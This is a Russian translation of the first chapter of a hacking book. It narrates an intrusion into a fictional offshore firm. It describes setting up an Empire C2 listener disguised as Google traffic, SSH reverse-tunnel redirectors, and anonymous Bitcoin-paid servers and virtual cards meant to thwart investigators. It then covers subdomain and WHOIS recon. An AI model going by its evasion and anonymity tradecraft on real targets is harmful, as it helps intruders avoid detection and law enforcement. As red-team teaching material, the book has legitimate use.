Вы находитесь на странице: 1из 226

 

 
 
 
Занимайся хакингом 
как легенда 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Спарк Флоу 
 
 
https://hacklikeapornstar.com
Отказ от ответственности 

Примеры в этой книге полностью вымышлены. Описываемые


инструменты и техники имеют открытый исходный код, а
следовательно - доступны публично. Специалисты по безопасности
и пентестеры регулярно используют их в своей работе, также как и
атакующие. Если вы стали жертвой компьютерного преступления и
обнаружили в этой книге демонстрацию техник или инструментов,
то это никоим образом не означает, что автору этой книги можно
инкриминировать любую связь с компьютерным преступлением,
содержимое этой книги не дает никаких оснований полагать, что
есть какая-либо связь между автором книги и преступниками.
Любые действия и/или деятельность, связанные с
материалом, содержащимся в этой книге, находятся целиком под
вашей ответственностью. Неправильное использование
информации из этой книги может стать результатом обвинений в
совершении уголовного правонарушения в адрес соответствующих
лиц. Автор не несет никакой ответственности за деяния лиц,
использующих информацию из этой книги в преступных целях.
Эта книга не призывает заниматься хакерством, взломом
программного обеспечения и/или пиратством. Вся информация,
представленная в книге, предназначена исключительно в
образовательных целях. Она призвана помочь организациям
защитить свои сети от атакующих, а следователям собрать
цифровые улики во время расследования инцидентов.
Совершение любых попыток по хакингу/взлому систем или
тестирование систем на проникновение должно сопровождаться
письменным разрешением от владельцев данных систем.

Перевод выполнен в ознакомительных целях. Отблагодарить


автора и приобрести данную книгу, а также другие оригинальные
книги Спарка Флоу можно на его официальном сайте:

https://www.hacklikeapornstar.com/best-hacking-books/

Перевод
@Ianuaria
skladchik.com
 
 
 
 
Низкий старт 
 
 
 
“Когда я стою на стартовых воротах, 
есть только я и склон” 

Микаэла Шиффрин 

Перевод
@Ianuaria
skladchik.com
Если вы когда-либо посещали знаменитые конференции по
безопасности, будь то Black Hat, Hack in The Box или RSA, то вы,
вероятно, были свидетелями бесконечного парада спонсоров,
выставляющих напоказ свои последние “кибер” решения в том же
духе, в каком Голливуд продвигает свое летние блокбастеры:
огромные постеры на станциях метро, модели у стендов компаний,
гламурные ночные тусовки и званые вечера с шампанским…

Неудивительно, что некоторые люди в конце концов сдаются и


соглашаются послушать их чрезмерно напыщенные речи о
кибератаках, “кибер-бдительности” и многих других модных
терминах с приставкой “кибер-”, которые я вряд ли смогу
перечислить, не искривив свое лицо.1

Рынок корпоративной IT-безопасности разряжен.

В последние годы сотни инновационных компаний процветали,


все они делали всё более грандиозные заявления о своих
возможностях по обнаружению и блокированию неизвестных угроз и
нераскрытых уязвимостей. При этом лишь немногие из этих новых
игроков действительно предлагали свежие решения для старых
вопросов безопасности (например, каковы мои критические
ресурсы? Кто может получить к ним доступ? Сколько
администраторов? Что считать нормальным трафиком? Что
следует помечать как подозрительную активность?).

Как бы то ни было, осмотрительный хакер должен будет


отметить, что б​
о​льшая часть подобного, так скажем, “кибер-дерьма”
имеет весьма приличные шансы задетектить стандартную

1
Некоторые вендоры даже заходят настолько далеко, что упоминают определенные
инструменты безопасности в своих безрассудных маркетинговых трюках.

См. след. твит: ​ https://pbs.twimg.com/media/DFrzG9mUMAAzSbw.jpg:large и ответ от @Gentilkiwi:


https://twitter.com/gentilkiwi/status/892587921911447553

Перевод
@Ianuaria
skladchik.com
обфусцированную PowerShell-команду2 или исполняемый модуль
Meterpreter​, сгенерированный на типовой машине с Kali.

Стоит понять, что в попытке увеличить до максимума время


пребывания на рынке и выпустить “следующий большой хит” в
безопасности, многие вендоры попросту выбрали недальновидный
и узкий подход: они великолепно оптимизируют свои инструменты
для обнаружения наиболее широко используемых инструментов
пентестинга: ​PS Empire​, ​Nishang3, ​Metasploit​, ​Mimikatz и так
далее.

Это обманчивая тактика, которая дает быстрые результаты во


время коротких доказательств концепций, выполняемых
низкоквалифицированными пентестерами, чего вполне хватает для
того, чтобы впечатлить начальников служб безопасности (CISO) и
других лиц, принимающих решения, в результате 30-минутных
демонстраций.

В процессе раскрутки своих “next-gen” инструментов, эти


вендоры зачастую прибегают к гламурным, модным словечкам типа
машинное обучение, искусственный интеллект и так далее.4
Однако, в большинстве случаев их подход, по своей сути,
полагается на определенное традиционное сопоставление
сигнатур, подтягиваемых из обучаемых наборов данных, очень
сильно зависящих от опенсорсных инструментов для тестирования
на проникновение.

Разумеется, слишком многие люди теперь знакомы с


моделью, основанной на сигнатурах, и ее ограничениями в случае
столкновения с новым штаммом малвари, поэтому новым

2
Например, что-либо наподобие “Powershell -enc JABiAHIAbwB3AHMAZQByAC[...]”

3
​https://github.com/samratashok/nishang

4
По правде говоря, я не буду конкретно называть компании в этой книге, но всякий раз, когда
вы слышите слова “EDR” (Endpoint Detection & Response), “Next-Gen” что-то там, “глубокий
анализ” и прочие понтовые слова, то относитесь к ним очень скептически.

Перевод
@Ianuaria
skladchik.com
вендорам, желающим откусить долю от рынка, приходится
пересматривать свои маркетинговые технологии - отсюда и
изобретение новых модных “кибер-” слов практически каждую
неделю.

Возможно, вам не доведется столкнуться с подобными


ньюфагами в процессе взлома вашей следующей цели, но они
медленно захватывают долю корпоративного рынка. Учитывая
постоянно растущее число публично “опущенных” компаний,
которые становятся жертвами очередных тривиальных взломов,
высшее руководство в бизнесе все сильнее торопит IT-отделы
порешать текущие проблемы безопасности за неразумно
ограниченное количество времени.

Когда начальники служб безопасности сталкиваются с


подобными жесткими сроками, они скорее предпочитают купить
дорогостоящий кибер-“черный ящик”, о котором сыпятся всяческие
пафосные модные термины с заголовков прессы, чем потратить
несколько лет на рационализацию сетевого трафика, настройку
изолированных зон, применение наилучших практик
администрирования, работу с VIP-сотрудниками, охоту на вредные
IT- и бизнес-привычки, и так далее.

Нам, как хакерам, нужно действовать превентивно подобным


новым оборонительным рубежам в сетях компаний и начинать
изменять некоторые из наших старых хакерских привычек.

Было время, когда продукты для обеспечения безопасности


были более воспитанными. Если вы закидываете малварь, и она
оказывается обнаружена, антивирус просто удалял ее, отбивая мяч
вам обратно для новых попыток.

Однако, б​о​льшая часть новых инструментов играют грязно.


Когда они регистрируют подозрительное событие (например, домен
из черного списка, странный сетевой пакет, незнакомый IP-адрес,

Перевод
@Ianuaria
skladchik.com
инъекция в процесс и т.д.), они позволяют ему следовать своему
курсу, но втихую создают предупреждение и ожидают, пока
оператор не ударит по кнопке тревоги.

Если вас поймают с вашим автоматизированным способом


заливки агента ​PowerShell Empire​, сканирования портов или
массированного запуска ​Mimikatz - а именно так вы работали в
старые добрые деньки - то вы будете схвачены еще более жестко и
быстро, чем драгдилер, сбрасывающий запас кокаина перед
офицером полиции.

Окей, может быть, это не совсем правда в текущих реалиях,


поскольку, давайте признаем это, не у всех компаний есть ресурсы
для развертывания инструментов с машинным обучением и
сложных средств защиты конечных устройств.

Просто держите в уме, что в Microsoft без устали работают над


внедрением все более сложных средств безопасности в их новых
релизах Windows (подробнее об этом позже), поэтому подобные
последствия будут становиться все более вероятными.

В скором времени, любой компании, желающей


воспользоваться мощностью машинного обучения для защиты
своих систем, нужно будет лишь активировать лицензию в своей
корпоративной панели управления, запушить скрипт на машины - и
вуаля! Они получат полное покрытие за считанные дни, в отличие
от нескольких месяцев, требуемых некоторым современным
продуктам.

Вы понимаете, к чему я веду, не так ли? В этой книге мы


рассмотрим новые, свежие техники для полета над продвинутыми
радарами этой новой категории защитных инструментов. Мы
совершим попытку взлома одной из таких компаний с выделенной
командой безопасности, инструментами машинного обучения и
всеми функциональными возможностями от вендоров, которые

Перевод
@Ianuaria
skladchik.com
щедро спонсируют все крупномасштабные конференции, от Black
Hat до RSA.5

Перед обсуждением наступательных действий и практических


атак, однако, давайте сперва подготовимся и опишем критически
важный компонент для любой хакерской активности:
инфраструктуру для хакинга.

Сгибаясь, но никогда не ломаясь 

Если вам довелось прочитать книги “Занимайся хакингом с


ловкостью порнозвезды” и “Занимайся хакингом с ловкостью Бога”,
то вы будете уже достаточно знакомы с обычной хакерской
инфраструктурой, на которую мы полагаемся, чтобы сокрыть наши
личности:

Мы подключаемся к публичному хот-споту Wi-Fi для доступа к


TOR или сервису VPN в какой-либо нейтральной стране, через
которые мы арендуем виртуальный частный сервер (VPS),
оплачивая биткоинами6, а затем используем его для запуска всех
атак на нашу цель.

5
Спасибо за футболки.

6
​http://cryto.net/~joepie91/bitcoinvps.html​или ​
https://acceptbitcoin.cash/#hosting

Перевод
@Ianuaria
skladchik.com
Я пропускаю подробности использования Bitcoin и Zcash в
целях достижения приемлемого уровня псевдо-анонимности,
поскольку это является отдельной темой и всесторонне
обсуждается во множестве онлайн-статей (к примеру,
https://cryptorials.io/how-to-use-bitcoin-anonymously/​).

Подобная многоуровневая структура, наряду с некоторыми


правилами здравого смысла - например, не проверять свой личный
акк на Twitter/Facebook с этой платформы - должны обеспечить
уровень анонимности, который необходим для того, чтобы вы могли
заниматься хакингом со спокойной душой.

За более детальным описанием настройки подобной


платформы и всеми базовыми принципами, которым необходимо
следовать, я рекомендую вам обратиться к первой главе книги
“Занимайся хакингом с ловкостью порнозвезды”.

Самое главное, этот сетап отлично подходит для одноразовой


работы, но как только вы начнете цепляться к жертвам, то
неминуемо почувствуете всю тяжесть подобной архитектуры.

Для каждой новой цели нам нужно создать выделенный


атакующий сервер путем скачивания и настройки наших любимых
инструментов, настройки прослушивателей, настройки пейлоадов и
так далее.

Кроме того, не все хостинг-провайдеры обеспечивают


гибкость, подобную крупным облачным сервисам типа Amazon и
Google Cloud, поэтому может быть невозможно заниматься простым
клонированием машин или созданием стандартного образа,
который мы смогли бы реплицировать.

Причина, по которой нам нужно предпринять дополнительные


меры предосторожности, заключается в том, что мы попросту не

Перевод
@Ianuaria
skladchik.com
можем пойти на риск атаки с одного IP-адреса на Банк_А и
Страховой_компании_Б.7

Это лучший способ привлечения внимания какого-нибудь


аналитика, который упорно старается приклеить ярлык на новую
хакерскую группу с запоминающимся именем типа APT35 или
FancyBear
(​https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-nati
onal-committee/​ ).

Некоторые хакеры даже заходят настолько далеко, что


создают кратковременные ретрансляторы, используя
незащищенные UPnP-конфигурации в домашних сетях, чтобы
снизить риск своего обнаружения (интересное обсуждение на
CanSecWest 2018 от @professor__plum:
https://symantec.app.box.com/s/g6treyi89zqr1hnynsh4q8aizn93w2qy​).

Однако, что более важно, если иметь один передовой сервер


для запуска всех наших атак, то это неизбежно сделает его единой
точкой отказа. Все, что нужно будет сделать компании для
блокирования нашей предположительно продвинутой вредоносной
полезной нагрузки, на настройку которой мы потратили недели
времени, это занести IP-адрес сервера в черный список. Вот вам и
продвинутая атака.

Не говоря уже о том, что первый аналитик, обнаруживший наш


пейлоад, может запросто атаковать наш сервер в ответ - скажем,
DoS-атака, атака брутфорсингом, уязвимость удаленного
выполнения кода во фреймворке для эксплуатации (​Empire8 или
Metasploit​), и так далее.

7
Это особенно касается действий, происходящих в параллельных временных интервалах.
Хотя взлом компании может занять несколько дней, может понадобиться несколько месяцев,
чтобы установить местонахождение и парсинг данных, за которыми мы по-настоящему пришли,
так что взлом многочисленных целей одновременно не является распространенным явлением.

8
https://www.tenable.com/blog/identifying-empire-http-listeners​и

https://www.harmj0y.net/blog/empire/empire-fails/

Перевод
@Ianuaria
skladchik.com
Несмотря на все свои изобретательные трюки и хвастовство
по поводу навыков в области безопасности, лишь немногие хакеры
уделяют время на то, чтобы как следует запереть свои
командно-контрольные (C2) сервера. Истории об уязвимостях в
популярных инструментах удаленного доступа:

1. http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-explo
iting-malware
2. https://www.blackhat.com/docs/us-17/thursday/us-17-Grange-Digit
al-Vengeance-Exploiting-The-Most-Notorious-C&C-Toolkits-wp.pdf

Чтобы избежать этих проблем, мы уделим время на


правильную настройку так называемой “отказоустойчивой хакерской
инфраструктуры”. Это окружение будет обеспечивать
максимальную гибкость и модульность за счет привязки каждого
отдельного блока инфраструктуры к атомарной операции атаки.

Если операция спалится - допустим, грубое сканирование


портов при помощи ​ Nmap ​или ​Masscan9 - другие операции,
выполняемые параллельно (фишинг), смогут продолжить свою
работу без каких-либо последствий, поскольку они полагаются на
отдельные блоки инфраструктуры.

Если IP-адрес, связанный с отдельной обратной оболочкой,


попадет в черный список, мы сможем за считанные секунды
настроить другой функционирующий C2-прослушиватель с новым
IP-адресом - не отвлекая имеющиеся шеллы от другой работы или
сетей, которые не связаны с черным списком.

Чтобы достичь такого уровня отказоустойчивости, мы


соблюдаем следующий основополагающий принцип: каждый актив,
имеющий доступ в интернет, должен быть легко заменяемым.

9
https://github.com/robertdavidgraham/masscan

Перевод
@Ianuaria
skladchik.com
Поэтому, в свете этого нового правила, когда мы
пересматриваем нашу предыдущую архитектуру, то сразу же
понимаем, что необходимо разделить бэкенд-сервера в
соответствии с выполняемыми ими функциями и добавить
определенное количество публичных ретрансляторов -
предпочтительно, чтобы они хостились у другого
сервис-провайдера (я убрал элементы, относящиеся к анонимности,
для упрощения схемы):

Этим публичным ретрансляторам (или редиректорам) будут


присвоены публичные IP-адреса (​51.71.183.0/24 на схеме выше),
они будут формировать видимую ветвь атакующей
инфраструктуры. Каждый из них просто перенаправляет любой
получаемый трафик на соответствующий бэкенд-сервер через
шифрованный SSH-туннель.

Нет ничего лучше, чем разобрать этот процесс на примере,


поэтому давайте приступим.

Мы начинаем с настройки прослушивателя (listener) обратной


оболочки на бэкенд-сервере C2. Допустим, мы выбираем
HTTPs-прослушиватель ​Empire10 на порту 844311:
10
​https://github.com/EmpireProject/Empire

Перевод
@Ianuaria
skladchik.com
Раз речь зашла о прослушивателях, помните, что мы можем и
должны кастомизировать каждый инстанс настолько детально,
насколько это возможно, чтобы избежать простых ловушек,
заложенных алгоритмами сопоставления сигнатур:

● В первую очередь мы активируем HTTPS путем добавления


самоподписанного SSL-сертификата, который обычно
создается во время установки ​Empire12:

● Далее используем ​ Jitter ​для создания определенной


рандомности в паттерне подачи сигналов, тем самым избегая
простых инструментов анализа поведения:

● Изменяем переменную “​DefaultProfile​” для имитации


поискового запроса Google при запросе команд на
выполнение, таким образом запутываем потенциальных
аналитиков безопасности. Формат “​DefaultProfile​” имеет
следующую структуру: ​
GET request URI | User Agent |
Header #1...

11
Команда screen может быть достаточно полезной для возобновления сеанса Empire после
завершения SSH-соединения: ​https://www.howtoforge.com/linux_screen

12
Используете скрипт cert.sh, находящийся в Empire/setup для генерации нового сертификата
по желанию.

Перевод
@Ianuaria
skladchik.com
В соответствии с этой конфигурацией, агенты, привязанные к
этому прослушивателю, будут запрашивать C2-команды, используя
HTTPS-протокол13, с запросами типа:

GET /search?q=finance&oq=finance&aqs=chrome..69i57j69i6.309j0j
или
GET /search?q=news&oq=news&aqs=chrome..69i57j69i6.309j0j

Они также будут добавлять классические HTTP-заголовки типа


“​Cookie: ...​” и “​Accept: ...​”, чтобы еще больше запутать
аналитиков безопасности.14

Хотя параметр “​ Host​” в прослушивателе может быть


выставлен на фиксированный IP публичного ретранслятора, мы
можем свободно переопределить его позже в коде stager-а; в конце
концов, вся суть подобной инфраструктуры в использовании
многочисленных доменов и публичных IP-адресов, привязанных к
одному инстансу прослушивателя.

Кстати говоря - чтобы привязать какой-либо публичный


ретранслятор к этому свеженастроенному C2-серверу, нам нужно
создать туннель между двумя машинами. SSH предоставляет

13
Empire генерирует PowerShell-агент, который игнорирует ошибки, возникающие при
использовании самоподписанного сертификата. Это хорошо, так как даже если мы решим
сгенерировать валидный сертификат для одного домена, он неизбежно станет невалидным,
если нам вздумается воспользоваться другим доменом. Понятно, что включение всех наших
доменных имен C2 в один SSL-сертификат - это не вариант, поскольку любой человек сможет
получить этот сертификат и таким образом раскроет все наши доменные имена.

14
К сожалению, SSL сам по себе не гарантирует тотальную безнаказанность. Некоторые
компании выполняют перехват SSL и следовательно, могут дешифровать трафик на лету.

Перевод
@Ianuaria
skladchik.com
отличную возможность для так называемого “обратного
перенаправления портов”.

Он инструктирует публичный ретранслятор автоматически


перенаправлять весь трафик, получаемый на порт (например, 443),
в адрес порта на нашем C2-сервере (например, 8443).
Единственная загвоздка в том, что по умолчанию SSH позволяет
перенаправлять только локальные порты (то есть, 443 слушается по
адресу ​127.0.0.1​), что, понятное дело, не есть хорошо.

Чтобы иметь возможность привязать публичные порты (443 на


публичном IP ретранслятора), нам нужно добавить следующую
директиву в файл ​/etc/ssh/sshd_config​:

# Файл /etc/ssh/sshd_config на публичном ретрансляторе 

GatewayPorts​ yes

После перезапуска SSH-сервера на сервере-ретрансляторе


мы можем вернуться обратно на C2-сервер и запустить следующую
команду, чтобы установить туннель:

Теперь каждый пакет, приходящий на порт 443 на публичном


ретрансляторе, будет отправляться по шифрованному туннелю на
адрес ​ <​частный_ip_C2-сервера​>:8443​, где находится наш
Empire​/​Meterpreter прослушиватель. Таким образом, C2-сервер
доступен только через этот один порт, который открыт на другом
сервере.

На деле, ему даже не нужен выделенный публичный IP-адрес,


поскольку туннель строится при помощи исходящего
SSH-соединения через шлюз хостинг-провайдера. В этом красота
обратного перенаправления портов.

Перевод
@Ianuaria
skladchik.com
Повторяем тоже самое для фишингового редиректора, за
исключением, на этот раз, того, что вместо прослушивателя ​Empire
у нас будет сервер Apache, отдающий веб-сайт, который будет
выглядеть легитимным (подробнее об этом позже).

Как можно заметить, единственное предназначение


редиректора в том, чтобы направлять шифрованный трафик (HTTPs
в данном случае) на C2-сервер. На машине-ретрансляторе не
хранятся данные и никакая информация не передается в открытом
виде.

Первый хостинг-провайдер не замечает проведения


какой-либо атаки, и даже если он решит скооперироваться с
правоохранительными органами или командой аналитиков жертвы,
он сможет предоставить им только шлюз второго
хостинг-провайдера (используемого C2-сервером для установления
SSH-туннеля), что не позволит им продвинуться слишком далеко в
процессе расследования и не предоставит мощных рычагов
давления на второго хостинг-провайдера.

Если мы потеряем один из наших редиректоров или захотим


использовать IP-адрес другого региона (например, Китая,
Сингапура и так далее), мы сможем легко породить новый
публичный ретранслятор на новом континенте (или у другого
хостинг-провайдера). Всего одна SSH-команда далее, и у нас
появляется новая рабочая фронтальная машина с выделенным
публичным IP-адресом и доменным именем! Масштабируемость в
лучшем виде!

Любой провайдер виртуальных частных серверов (VPS)


предоставит вам возможность использования публичных
IP-адресов, но возможно, не во всех географических регионах -
отсюда нужда в диверсификации наших активов.

Перевод
@Ianuaria
skladchik.com
Имена доменов, однако, можно выбирать. Мы разберемся с
этим конкретным шагом в отдельной главе, поскольку ему нужно
уделить особое внимание.

И наконец, мы настраиваем отдельный VPS-сервер для


прямых активных атак: сканирований ​Nmap​, тестирования
уязвимостей в целевых веб-приложениях и так далее. Мы не хотим,
чтобы эти рискованные пакеты были перехвачены устройствами
мониторинга, что приведет к раскрытию наших C2-шеллов в ходе
работы.15

Все эти машины могут работать на любой операционной


системе, с которой вам наиболее комфортно: Ubuntu, Red Hat,
Windows и проч. Если у вас достаточно CPU, вы можете даже
виртуализировать Kali, если у вас лежит душа к этому дистрибутиву,
но вы очень быстро осознаете, что нам не понадобятся многие
стандартные инструменты для этого конкретного сценария, так что
старая добрая Ubuntu отлично подойдет.

**Примечание по платным провайдерам сервисов** 

В первом черновом наброске этой книги я предлагал вариант


подписки на AWS, Azure или Google Cloud для хостинга наших
публичных ретрансляторов.

Они предлагают дешевые вычислительные ресурсы, мощные


API, доступ к более широкому диапазону географических регионов,
а также добавляют определенный уровень доверия к нашим
публичным IP-адресам.

Единственная проблема в том, что эти провайдеры


запрашивают номер кредитной карты для совершения регистрации.
Не самый благоприятный для приватности вариант.

15
Альтернативные сетапы и подробные описания отказоустойчивой хакерской (или Red team)
инфраструктуры: ​
https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki

Перевод
@Ianuaria
skladchik.com
Был простой обходной путь этого ограничения за счет
использования предоплаченных виртуальных карт. Сервисы типа
Cryptopay, Bitwala и Wirex, к примеру, позволяли людям заказывать
виртуальные карты VISA, оплаченные за биткоины, без проведения
проверок личности (обычно сумма издержек составляла до $1000).

Используя эти карты, человек мог получить преимущество


псевдо-анонимности Биткоин на любом e-commerce веб-сайте и
воспользоваться AWS, GCloud и Azure без компрометации своей
личности.

Однако, 5 января 2018 года, без предварительного


предупреждения, VISA объявила, что прекращает поддержку всех
карт, выпущенных WaveCrest, основным производителем
дебетовых карт, которого использовали большинство сервисов
предоплаченных за биткоины виртуальных карт.

Это объявление должно послужить напоминанием о том, что


мы живем во все более авторитарном и централизованном мире.

Пока большая часть сервисов виртуальных карт продолжают


пытаться найти альтернативного поставщика карт, один или два
сервиса смогли выжить благодаря своим партнерским отношениям
с более мелкими поставщиками карт
(​https://coinvigilance.com/update-on-bitcoin-debit-cards-post-visa-ban-of
-wavecrest/​ ).

Как бы то ни было, единственный сервис, который я смог


найти, не требующий проверки личности, это ​http://prepaidcloud.tech​,
но я не могу доверять платежному сайту, который даже не
реализовал базовую https-защиту - на дворе 2018 год, ради всего
святого!

Перевод
@Ianuaria
skladchik.com
По всей видимости, лучшее, что мы можем сделать сейчас,
это внимательно следить за данным вопросом и надеяться, что
бизнес виртуальных карт сумеет найти способ перезапуска своих
сервисов.

**** 

Готовься, целься, стреляй! 

Теперь, когда мы как следует настроили свою хакерскую


инфраструктуру, давайте обсудим нашу цель для этой тренировки в
хакинге.

Мы нацеливаемся на G&S Trust, узкоспециализированную


компанию, которая работает в сфере офшорного бизнеса. Они
помогают 1% самых богатых людей создавать фиктивные компании
в различных частях мира для управления и оптимизации их
распределения активов и потоков поступления прибыли.

То, что вы и я упрощенно назвали бы уклонением от уплаты


налогов, можно растянуть в целое предложение малопонятного
финансового жаргона, после чего наша формулировка будет
звучать как невинное воскресное хобби.

Пристегните ремни, народ, мы собираемся приступить к


хакерскому путешествию, которое занесет нас до Сейшельских
островов, Кипра и в другие налоговые гавани!

Ответьте по-быстрому, что всплывает в вашей голове в


первую очередь, когда вы задумываетесь о проникновении через
средства защиты компании? Пожалуйста, не говорите про ​Nmap​…

Точно, фишинг!

Перевод
@Ianuaria
skladchik.com
Однажды я попросил людей назвать компании, которые были
взломаны без помощи имейл-мошенничества, в той или иной его
форме, однако со времен взлома Equifax16, эпидемии WannaCry17 и
фиаско NotPetya18 - в каждом из этих случаев имели место
недостаток пропатченности и дефектная сегментация сети - я
стараюсь воздерживаться от подобного прямого вопроса.

Как ни крути, если вы ищете самый надежный способ


проникновения в конкретную компанию - в отличие от раскидывания
широкой сети для отлавливания простых жертв - фишинг является
самой надежной для атаки стратегией. Он эксплуатирует базовые
человеческие слабости: скуку на работе в сочетании с пресловутым
синдромом “вижу ссылку - нажимаю на ссылку”.

Фишинг может казаться простой затеей ввиду его чрезмерной


популяризации СМИ и, давайте будем откровенны, ветеранами
сферы безопасности, но создание чистой и скрытой фишинговой
кампании требует тяжелой работы и тщательной подготовки.

Перед углублением в технические детали, давайте для начала


соберем немного информации о G&S Trust. На их основном
веб-сайте (​www.gs-corp.com​) сообщается, что G&S Trust имеет
порядка 15 старших партнеров, разбросанных по пяти
географическим локациям: Кипр, Сейшелы, Гонконг, Мальта и,
совсем недавно, Сингапур.

16
​https://blogs.apache.org/foundation/entry/media-alert-the-apache-software

17
​https://en.wikipedia.org/wiki/WannaCry_ransomware_attack

18

https://www.csoonline.com/article/3233210/ransomware/petya-ransomware-and-notpetya-malware-w
hat-you-need-to-know-now.html

Перевод
@Ianuaria
skladchik.com
Мы всегда можем воспользоваться этим предлогом для своего
фишингового электронного письма. Например, новый IT-сервис,
развернутый в Сингапуре, IT-проблемы, связанные с новыми
офисами, задержка в email-сервисах и так далее.

Однако, основная проблема, с которой мы можем столкнуться


в настоящее время, это небольшое количество потенциальных
целей. 15 членов высшего руководства, плюс, возможно, один или
два бухгалтера на страну, едва дают нам в сумме 25 целей.

Мы не можем убедиться в суммарном количестве, поскольку


испытываем трудности в нахождении сотрудников на LinkedIn (или
любой другой платформе), которые на текущий момент работают в
G&S Trust. Это и понятно, учитывая направление работы компании
и очевидную потребность в секретности.

Это ставит нас в небольшое затруднительное положение.


Фишинг, как-никак, это игра с числами. Чем больше у нас целей, тем
более гибкие возможности мы получаем. 15 человек (плюс
несколько бухгалтеров и аналитиков, найти которых мы не в
состоянии) - это в значительной степени маленькая цель. Нам не
дается большого пространства для тестирования, права на ошибку
у нас еще меньше.

Более того, если задуматься об этом, вряд ли мы сможем


проникнуть в сеть компании, отправив вложение с ловушкой членам
высшего руководства, которые большую часть времени работают с
iPhone из VIP-зала в аэропорте.

Перевод
@Ianuaria
skladchik.com
**Примечание по госструктурам и фишингу** 

Известно, что государственные структуры нацеливаются


только на одного или двух чувствительных сотрудников и создают
отпечаток их окружения при помощи множества фишинговых
имейлов, содержащих вложения; с какой версией Office они
работают, какой у них дефолтный браузер?

После этапа разведки они по итогу совершают


заключительный удар в виде очередного электронного письма, на
этот раз с подогнанным эксплойтом, предназначенным для
использования уязвимостей в их окружении.

**** 

Я немного отвлекусь от темы, но мне вспоминаются те


ветераны-пентестеры, которые громогласно заявляют в социальных
сетях и в пьяном угаре утверждают на вечеринках DEF CON, что
“​хакерство - это просто. Вам нужно лишь сбросить USB Rubber
Ducky19 ​на парковке и ожидать, пока зальются шеллы. Хаха​”.

...Ладно.

Может быть, это и было правдой двадцать пять лет тому


назад, когда вы могли подключиться к электросети по Telnet с
“root/root”, но эти дни давно миновали.

Я не утверждаю, что сброс USB-флешек больше не работает


(при условии, что кто-то позаботится об отправке их по почте,
воспользуется мулом или сбросит их самостоятельно).20 Это

19
​https://hakshop.com/products/usb-rubber-ducky-deluxe

20
Кстати говоря, зацените этот замечательный проект, описывающий запуск кастомных
пейлоадов через Wi-Fi путем клавиатурных инъекций при помощи кастомной USB-флешки:

https://github.com/whid-injector/WHID

Перевод
@Ianuaria
skladchik.com
по-прежнему работает, в некоторой степени. Однако, спорить о том,
что это простой и надежный метод, не имеет смысла или пользы.

Хакинг - это не просто, но и не сложно. Все зависит от


контекста компании. Насколько серьезно она относится к
безопасности? На какие процессы и технологии полагается? Как
обрабатывает повседневные инциденты? Насколько велика ее
незащищенность перед случайными атаками?

Как бы то ни было, вернемся к G&S Trust. Давайте отложим


идею с фишингом пока что21, в качестве оружия последнего удара,
если всё остальное потерпит неудачу, и сфокусируемся на поиске
другой точки для входа - может быть, посчастливится найти
уязвимость в некоторых их приложениях, имеющих доступ в
интернет? Давайте углубимся в эту задачу.

Напоминание 

Как говорилось в предыдущей главе, все последующие


прямые запросы отправляются через сервер Front Gun, либо через
туннель ​
proxychains​, либо при помощи команд, выполняемых
напрямую на сервере.

Основной веб-сайт хостится сторонней компанией, как


показано в поиске WHOIS ниже22:

21
Кто-то может поспорить, что несмотря на значительно небольшую цель и слабые шансы,
стоит пойти фишинговым путем. В конце концов, нам нужен всего один доверчивый
пользователь, чтобы попасть внутрь. Однако, поверьте - у меня для вас припасено кое-что
более интересное.

22
​https://centralops.net/​, ​https://www.domaintools.com/​или команда whois на Linux-машине.

Перевод
@Ianuaria
skladchik.com
Даже не будем пытаться найти у него уязвимости. Нам нужно
проникнуть в сеть компании, а не в сеть ее хостинг-провайдера.

Чтобы найти другие веб-сайты и приложения, принадлежащие


G&S Trust, мы можем воспользоваться традиционным перебором
поддоменов, используя ​ dns-recon​, но есть гораздо более
эффективный инструмент для выявления скрытых поддоменов,
связанных с именем компании: ​https://censys.io

Censys - это академический проект, созданный в Мичиганском


университете, который систематически сканирует интернет,
собирает информацию, например, открытые порты, HTTP-баннеры
и т.д. В этом плане он ничем не отличается от ​Shodan​. Но вот где
становится интересней. ​
Censys также индексирует
SSL-сертификаты, а именно поле ​ CN​, в котором определяются
альтернативные поддомены, на которые распространяется этот же
сертификат.

Например, простой поиск по ​


gs-corp.com раскрывает
обширный список поддоменов:

Хотя ​
Censys и является великолепным инструментом для
обнаружения более сложных и нетипичных поддоменов (например,
mytaxadvice.gs-corp.com​), которые скорее всего будут упущены
традиционными инструментами перебора типа ​DNS Recon23, всегда
23
Да, DNS-Recon также ищет поля CNAME и MX, разведывает поддомены через Google и Bing,
но наиболее мощной и полноценной возможностью DNS-Recon определенно являются
брутфорс-атаки.

Перевод
@Ianuaria
skladchik.com
лучшей практикой будет воспользоваться преимуществами обоих
этих инструментов (​censys и ​dns-recon​), чтобы получить наиболее
точное представление, какое только возможно.

Вы можете скачать небольшой скрипт


(​https://github.com/HackLikeAPornstar/StratJumbo/blob/master/chap1/c
ensys_search.py​) с Github этой книги, который опрашивает API
Censys и превосходно подчищает результаты. Для него нужен
бесплатный ключ API ​Censys​, который можно скачать на их главном
веб-сайте:

Выглядит удручающе, не так ли? Я знаю, что G&S Trust


является узкоспециализированной компанией, но можно найти
местных блоггеров, у которых и того больше сайтов.

На тот случай, если мы пропустили какой-либо из сайтов, мы


запускаем последующие поисковые запросы наобум, в надежде на
другие потенциальные домены верхнего уровня или вариации имен,
такие как ​.net​, ​.org​, ​gs-trust.com​, ​gs-foundation.com и так
далее, но безрезультатно. По итогу получаем следующий список:

● mytaxadvice.gs-corp.com
● career.gs-corp.com
● mail.gs-corp.com
● owa.gs-corp.com
● www.gs-corp.com
● gstrust-foundation.org

Перевод
@Ianuaria
skladchik.com
Некоторые из этих сайтов могут хоститься сторонними
компаниями, а некоторые самой G&S Trust, поэтому как и ранее, мы
изучаем владельцев сетей, чтобы прояснить физическое
местоположение активов.

Я собрал полезный Python-скрипт, который выполняет эту


работу
(​https://github.com/HackLikeAPornstar/StratJumbo/blob/master/chap1/q
uery_whois.py​ ). Он проходит циклом по множеству WHOIS-вызовов и
извлекает релевантную информацию в читабельный файл Excel:

Кажется, что лишь веб-почта (​mail.gs-corp.com и


owa.gs-corp.com24) находится в IP-диапазоне компании:
182.239.127.137 - ​ 182.239.127.145​. Прочие веб-приложения
(например, ​career.gs-corp.com​) хостятся облачными
провайдерами типа LiquidWeb и Google Cloud.

24
OWA - Outlook Web Application

Перевод
@Ianuaria
skladchik.com
